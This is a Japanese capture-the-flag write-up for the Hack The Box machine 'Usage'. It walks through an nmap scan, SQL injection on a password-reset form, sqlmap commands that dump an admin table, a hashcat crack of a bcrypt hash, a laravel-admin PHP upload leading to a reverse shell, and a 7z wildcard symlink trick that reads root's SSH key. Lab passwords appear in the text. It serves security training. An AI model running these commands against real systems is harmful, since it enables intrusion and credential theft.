目次
偵察/スキャン
nmapでスキャンします。
-p-でスキャンし、確認できたTCP/22およびTCP/80に詳細なスキャンを行います。
┌──(kali㉿kali)-[~/htb/usage] └─$ nmap -sC -sV -A -O -p25,80 10.10.11.18 Starting Nmap 7.94SVN ( https://nmap.org ) Nmap scan report for 10.10.11.18 Host is up (0.19s latency). PORT STATE SERVICE VERSION 25/tcp closed smtp 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to http://usage.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.94SVN%E=4%D=10/31%OT=80%CT=25%CU=41933%PV=Y%DS=2%DC=T%G=Y%TM=67 OS:22D404%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS= OS:A)SEQ(SP=104%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10B% OS:TI=Z%CI=Z%II=I%TS=A)SEQ(SP=105%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS(O1= OS:M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST11NW7 OS:%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y OS:%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD OS:=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%D OS:F=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O OS:=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40 OS:%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 25/tcp) HOP RTT ADDRESS 1 209.62 ms 10.10.14.1 2 209.69 ms 10.10.11.18 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
TCP/80の調査
/etc/hostsにusage.htbを登録しアクセスします。
/forget-passwordのページでSQLiの脆弱性の有無を確認する「' or 1=1--」のような文字列を入力すると以下のようなエラーが表示されます。
これより、SQLiの脆弱性があることが確認できます。
BurpSuiteでリクエストを取得しテキストファイルに保存します。
その後、sqlmapでDBの情報を取得します。
データベースの情報を取得します。
sqlmap -r request.txt -p email --level 5 --risk 3 --batch --threads 10 --dbs
「usage_blog」が見つかりました。次にテーブル情報を取得します。
sqlmap -r forget_passwd_request.txt --batch --dbms=mysql -p email --level 5 -D usage_blog -T admin_users --dump
「admin_users」を対象にテーブル情報をダンプします。
sqlmap -r postdata.txt --batch -p email --level 5 --risk 3 -D usage_blog -T admin_users --dump
テーブル内のアカウント情報が取得できました。
hashの形式を確認しhashcatで解析します。
hashcat -m 3200 -a 0 hash /usr/share/wordlists/rockyou.txt
パスワード情報が取得できました。
$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2:whatever1
上記のパスワードで「admin.usage.htb」にログインすることができます。
アクセス取得
ダッシュボードの「Dependencies」にあるバージョン情報で検索すると「laravel-admin 1.8.18」の脆弱性が見つかりました。
この脆弱性を悪用すると、.php 形式のファイルをアップロードしてリモートコードを実行できるようです。
以下のサイトではどこかで見たことあるような画像も見つかります。
phpのリバースシェルを.jpgとしてファイルをアップロードし、「submit」する際に拡張子を元に戻します。
ファイルのアップロードが成功した後は、editよりアップロードしたファイルの右下、ダウンロードよりアクセスすることでシェルが取得できます。
権限昇格
「dash」以外に「xander」というユーザがいるようです。
「dash」のホーム ディレクトリに「.monitrc」があり、その中にはパスワード情報があります。
上記の情報でSSH接続します。
xander/3nc0d3d_pa$$w0rd
「xander」は「usage_management」をroot権限で実行できるようです。
「usage_management」を実行すると3つのオプションが表示されますが、1のバックアップのみが機能しました。2と3は実行すると終了します。
「usage_management」をダウンロードし、「Ghidra」 で調べる前にstringsを実行します。
7zで検索すると以下のような情報が見つかります。
https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks#id-7z
この攻撃手法は読み取りたいファイルへのシンボリックリンクを作成してファイルの内容を読み取ります。
上記の情報をもとに「id_rsa」を読み取ります。
上記の実行後に「sudo /usr/bin/usage_management」を実行すると「root」の「id_rsa」が読み取れます。
「 : No more files」を削除して「id_rsa」を作成して「root」としてssh接続します。
rootが取得できました。
その他